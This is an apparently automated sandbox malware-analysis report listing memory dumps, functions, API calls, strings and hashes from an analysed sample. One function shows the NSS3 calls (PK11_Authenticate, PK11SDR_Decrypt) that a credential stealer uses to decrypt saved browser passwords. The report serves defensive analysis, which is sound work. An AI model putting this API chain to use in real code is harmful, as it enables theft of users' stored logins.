R[n, xrefs: 0129AEF0
-p\o, xrefs: 0129AB9D
U?s, xrefs: 0129B540
s5jz, xrefs: 0129B46E
\mO, xrefs: 0129A761
]7o, xrefs: 0129ADDA
-"cp, xrefs: 0129B65D
r$v, xrefs: 0129AE8D

Memory Dump Source

Source File: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -"cp$-p\o$R[n$\mO$]7o$b.WQ$r$v$s5jz$v$v$U?s
API String ID: 0-964529310
Opcode ID: 13684895969066d37acbc6291f2678116d713aeafe9d0f4468168fb225a15e7a
Instruction ID: 2e4d40e75ef395f583be619cebd6069a4b25d70395634cae5491418c8d67932f
Opcode Fuzzy Hash: 13684895969066d37acbc6291f2678116d713aeafe9d0f4468168fb225a15e7a
Instruction Fuzzy Hash: FEA2D4F360C2049FE7046E2DEC8566AFBE9EF94720F1A493DEAC4C3340EA7558058796

Function 00EEC820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00EEC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00EEC87C
PK11_GetInternalKeySlot.NSS3 ref: 00EEC88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00EEC8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00EEC8EB
lstrcat.KERNEL32(?,00F00B46), ref: 00EEC943
lstrcat.KERNEL32(?,00F00B47), ref: 00EEC957
PK11_FreeSlot.NSS3(?), ref: 00EEC961
lstrcat.KERNEL32(?,00F00B4E), ref: 00EEC978

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 8418ab8a2385f87d9197f72a69b4e50cfabab72d8a74ab5f2ebe5c296d4a6b15
Instruction ID: 429eee99017bfceb61aae73b4cb95fd0d44c7a91b681aaa658414f8dea1606b2
Opcode Fuzzy Hash: 8418ab8a2385f87d9197f72a69b4e50cfabab72d8a74ab5f2ebe5c296d4a6b15
Instruction Fuzzy Hash: 8A417FB590420EEBCB24CFA4DC89BEEB7B8BF84304F1041B8E509A7280D7715A85DF91

Function 0129F692 Relevance: 12.8, Strings: 9, Instructions: 1561COMMON

Download Yara Rule

Strings

47, xrefs: 012A04CD
Ag], xrefs: 0129F728
I]_, xrefs: 012A066C
5<3, xrefs: 012A0534
:, xrefs: 0129F926
J3l, xrefs: 0129F8AD
{Gun, xrefs: 0129FFA7
47, xrefs: 012A04B8
mw~, xrefs: 0129F8A7

Memory Dump Source

Source File: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: I]_$47$47$5<3$Ag]$J3l$mw~${Gun$:
API String ID: 0-2424843981
Opcode ID: 5a036bed24cff0278fe5eb86359a390743e050c470cd7747c4e8a655262171b1
Instruction ID: eb275864b23798788e88a75a0deeda8b88cc7980ff85c0a5dede8c358273c45a
Opcode Fuzzy Hash: 5a036bed24cff0278fe5eb86359a390743e050c470cd7747c4e8a655262171b1
Instruction Fuzzy Hash: 9DA2E5F3A08200AFE3046E29EC8577ABBE5EF94720F1A493DE6C4C7744E63598458697

Function 6C802C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C802C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C802C61

Part of subcall function 6C7B4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C7B4E5A
Part of subcall function 6C7B4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C7B4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C802C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C802E2D

Part of subcall function 6C7C81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C7C81DE

Strings

expected a Time entry, xrefs: 6C802E36
ProfileBuffer parse error: %s, xrefs: 6C802E3B
(root), xrefs: 6C80354F

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: c240ca84a0d006e2cb0f716022859979bcf9e2a87431271be4a43677dd110d02
Instruction ID: 53fc9869ea619a2bc6d8bbeff207489bd23a67026cf1083347f15b7b65d20571
Opcode Fuzzy Hash: c240ca84a0d006e2cb0f716022859979bcf9e2a87431271be4a43677dd110d02
Instruction Fuzzy Hash: 1991CE707087448FD734CF28C99969EBBE0AF89358F504D2DE99987750DB34D949CB82

Function 6C7BD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C7BDA88
@, xrefs: 6C7BDAF6
0, xrefs: 6C7BDC7F
1, xrefs: 6C7BDBDD
0, xrefs: 6C7BD852
9, xrefs: 6C7BDE7F
-, xrefs: 6C7BD7DD
8, xrefs: 6C7BDC08

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 3eefe4b8a01133bb85381cacf742fe932a3bd6be3892116e4efece92cca14614
Instruction ID: 7799430a47331926a1136373042309fe47e1d167bbee2f47a4c5acbfde7d872f
Opcode Fuzzy Hash: 3eefe4b8a01133bb85381cacf742fe932a3bd6be3892116e4efece92cca14614
Instruction Fuzzy Hash: 8062F47050C3458FD701CF29C29079EBBF2AFA6358F184A2DE4D46BA59C335D885CB8A

Function 6C82545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C828A4B

Strings

~q{l, xrefs: 6C829269, 6C825703, 6C82921F, 6C829459, 6C825740, 6C8256C7, 6C82948F

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: memset
String ID: ~q{l
API String ID: 2221118986-2002290586
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 0d4c1adc9450b4a0029b76b4613a88114824ec45623a5552564f5f8401399c6f
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 11B1E772E0021A8FDB24CF68CD94BA9B7B2EF95314F1806A9C449DB785D734A9C5CB90

Function 6C82542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C8288F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C82925C

Strings

~q{l, xrefs: 6C829269, 6C825703, 6C82921F, 6C829459, 6C825740, 6C8256C7, 6C82948F

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: memset
String ID: ~q{l
API String ID: 2221118986-2002290586
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 27248d47c0850144d5d40836542f58dfb18fadfe582f95e3229642125ac5fb7a
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 7CB1C572E0020ACFDB24CF58C9856A9B7B2EF95314F180679C949EB785D734A9C9CBD0

Function 012A7BCB Relevance: 9.1, Strings: 6, Instructions: 1620COMMON

Download Yara Rule

Strings

veW, xrefs: 012A7F23
Ao~, xrefs: 012A7E9A
3g%E, xrefs: 012A7EF1
F,y, xrefs: 012A841F
B!L , xrefs: 012A7DAD
HWa}, xrefs: 012A8DDF

Memory Dump Source

Source File: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Ao~$3g%E$B!L $F,y$HWa}$veW
API String ID: 0-612697555
Opcode ID: 650fd0738c6f6d8b2d24f80dafb1d57586c27635dfdb3096dc55427ebc225e9e
Instruction ID: 97016bf8c226f0e90dfa815cf9876a78579daa78abb2d250ae3ab2a272e4fce2
Opcode Fuzzy Hash: 650fd0738c6f6d8b2d24f80dafb1d57586c27635dfdb3096dc55427ebc225e9e
Instruction Fuzzy Hash: 1FB206F360C2149FE300AE29EC8566AFBE9EF94720F16493DEAC4C7740E67598058797

Function 012A464D Relevance: 9.1, Strings: 6, Instructions: 1595COMMON

Download Yara Rule

Strings

?}=g, xrefs: 012A468D
|l, xrefs: 012A5546
eA<, xrefs: 012A47C8
o, xrefs: 012A4BE7
0;|, xrefs: 012A501C
9!*n, xrefs: 012A46DA

Memory Dump Source

Source File: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: o$9!*n$?}=g$eA<$0;|$|l
API String ID: 0-2958182129
Opcode ID: a5e18bfd63b589a6beab396b915baf393bb64fc7aa881605c8be9d4450188f71
Instruction ID: ae86e80c7d912a3f14563f0bc807e67d1cb7e5011deb3ef6b330329559f354d1
Opcode Fuzzy Hash: a5e18bfd63b589a6beab396b915baf393bb64fc7aa881605c8be9d4450188f71
Instruction Fuzzy Hash: F0B2F4F360C6049FE3046E2DEC8566AFBE9EF94720F1A493DE6C5C3740EA7598048796

Function 00EE9AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EE9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00EE4EEE,00000000,?), ref: 00EE9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EE9B2A
LocalFree.KERNEL32(?,?,?,?,00EE4EEE,00000000,?), ref: 00EE9B3F

Strings

N, xrefs: 00EE9AD4, 00EE9AE1, 00EE9AF9, 00EE9B18, 00EE9AE4, 00EE9B1B

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N
API String ID: 4291131564-1689755984
Opcode ID: 6b775d421786262bb8b4768727c020266b3d198b5c1a1a19c6dc0aeae2944dd0
Instruction ID: 9e31470497484cb88ee542170108aafb922d68a6a7cdba5ce079bed844f73ad8
